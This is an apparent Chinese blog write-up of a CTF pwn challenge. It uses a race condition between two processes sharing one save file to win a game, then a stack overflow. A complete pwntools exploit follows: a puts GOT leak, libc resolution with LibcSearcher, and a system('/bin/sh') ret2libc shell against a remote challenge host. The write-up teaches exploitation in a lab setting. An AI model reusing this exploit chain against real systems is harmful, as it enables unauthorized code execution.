CTF-PWN-play (条件竞争,多进程共享同一数据文件)

程序概述

[*] '/home/supergate/Desktop/Pwn/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只打开了NX保护,这为我们的攻击带来便利。
在执行主流程之前会先执行一个init函数:

void init()
{
  unsigned int v0; // eax
  char name; // [esp+0h] [ebp-48h]

  v0 = time(0);
  srand(v0);
  init_io();
  if ( access(manager_db, 0) && mkdir(manager_db, 0x1EDu) == -1 )
  {
    perror("mkdir error");
  }
  else
  {
    chdir(manager_db);
    while ( 1 )
    {
      printf("login:");
      read_buff((int)&name, 64, 10);
      if ( (unsigned __int8)check_name(&name) )
        break;
      puts("bad name");
    }
    if ( access(&name, 0) )
    {
      puts("welcome to the system!");
      init_new_db_file(&name);
    }
    else
    {
      puts("welcome back to the system");
    }
    init_db(&name);
    gMonster = (AD_struct *)malloc(0x54u);
    init_monster(0);
    init_hero();
  }
}

即先让用户输入一个login字符串,然后在/tmp/目录下创建一个同名文件。根据后续操作可以知道该文件存的是gHero的相关内容。

主流程就是gHerogMonster互相进行攻防的模拟。可以选择进行攻击,也可以选择修改自己当前的攻击方式。每一种攻击方式的attack,defense,strike值都不相同,以虚表存在.bss段中。
其中attack函数如下图所示,其中AD_struct是我自己根据数据结构定义的一个结构体,方便后续理解,gHerogMonster都是这个结构体的形式。

struct_properties *attack()
{
  struct_properties *result; // eax
  int monster_defense; // [esp+10h] [ebp-18h]
  int monster_attack; // [esp+14h] [ebp-14h]
  int hero_defense; // [esp+18h] [ebp-10h]
  int hero_attack; // [esp+1Ch] [ebp-Ch]

  ++gHero->cnt1;
  ++gMonster->cnt1;
  hero_recovery();
  mon_recovery();
  printf("%s display:%s\n", &gHero->gap3, gHero->properties->method_full_name);
  printf("%s display:%s\n", &gMonster->gap3, gMonster->properties->method_full_name);
  monster_attack = gMonster->properties->attack;
  monster_defense = gMonster->properties->defense;
  if ( gMonster->properties->strike && gMonster->cnt1 > 4 && rand() % 3 == 1 )
  {
    gMonster->cnt1 = 0;
    monster_defense += gMonster->properties->strike;
    monster_attack += gMonster->properties->strike;
  }
  hero_attack = gHero->properties->attack;
  hero_defense = gHero->properties->defense;
  if ( gMonster->properties->strike )
  {
    printf("use hiden_methods?(1:yes/0:no):");
    if ( read_int() == 1 )
    {
      hero_defense += gHero->properties->strike;
      hero_attack += gHero->properties->strike;
    }
  }
  if ( hero_defense < monster_attack )
    gHero->surplus -= monster_attack - hero_defense;
  if ( monster_defense < hero_attack )
    gMonster->surplus -= hero_attack - monster_defense;
  if ( gHero->surplus <= 0 )
  {
    puts("you failed");
    gHero->surplus = 0;
    release_all();
  }
  result = (struct_properties *)gMonster->surplus;
  if ( (signed int)result <= 0 )
  {
    puts("you win");
    if ( gMonster->slave_num == 3 )
    {
      puts("we will remember you forever!");
      vul_func();
      release_all();
    }
    puts("slave up");
    level_up();
    result = init_monster(gMonster->slave_num + 1);
  }
  return result;
}

每一次怪物血量降到0及以下时就会升级,打败等级为3级的怪兽就会记录你的名字,然后结束程序。

漏洞分析

vul_func中很显然存在一个栈溢出漏洞,并且是最简单的那种栈溢出。
问题是我们该如何打败三个等级的怪物使得程序运行到这个地方。
由于gHero是存在/tmp/文件夹下我们指定名称的文件内的,所以如果我们打开了两个进程,并且输入的文件名相同,那么这两个进程就会共享同一片内存区域。
对于attack函数的这一段

  hero_attack = gHero->properties->attack;
  hero_defense = gHero->properties->defense;
  if ( gMonster->properties->strike )
  {
    printf("use hiden_methods?(1:yes/0:no):");
    if ( read_int() == 1 )
    {
      hero_defense += gHero->properties->strike;
      hero_attack += gHero->properties->strike;
    }
  }

在p1进程等待read_int()函数输入时,我们就可以打开p2进程,修改攻击方式,从而强化gHero
每种攻击方式的属性如上所说,都在虚表中存着的。应该不只有一种攻击方式。
p2进程修改完之后要记得close,否则p2输了之后可能会带来一些意想不到的错误。

exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'

def change_method(proc,idx):
    proc.sendlineafter(">> ","3")
    proc.sendlineafter(">> ",str(idx))

def hacking(proc):
    proc.sendlineafter(">> ","1")
    proc.sendlineafter(":","1")

p1=remote('111.198.29.45',55333)
elf=ELF('./pwn')
p1.sendlineafter('login:',"name")

while True:
    change_method(p1,3)
    p1.sendlineafter(">> ","1")
    p1.recvuntil(":")

    p2=remote('111.198.29.45',55333)
    p2.sendlineafter('login:',"name")
    change_method(p2,1)
    p1.sendline("1")
    p2.close()
    p1.recvline()
    p1.recvline()
    p1.recvline()
    infom=p1.recvline()
    log.info(infom)
    if "remember" in infom:
	break
    
log.info("Success!")
p1.recvuntil("name:")

vul_addr=0x8048EC7
payload='a'*0x4c+p32(elf.plt['puts'])+p32(vul_addr)+p32(elf.got['puts'])
p1.sendline(payload)
p1.recvuntil("welcome\n")
puts_addr=u32(p1.recv(4).ljust(4,'\x00'))
obj=LibcSearcher('puts',puts_addr)
system_addr=puts_addr-obj.dump("puts")+obj.dump("system")
binsh_addr=puts_addr-obj.dump("puts")+obj.dump("str_bin_sh")

payload='a'*0x4c+p32(system_addr)+p32(0xdeadbeef)+p32(binsh_addr)
p1.sendline(payload)
p1.interactive()



  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值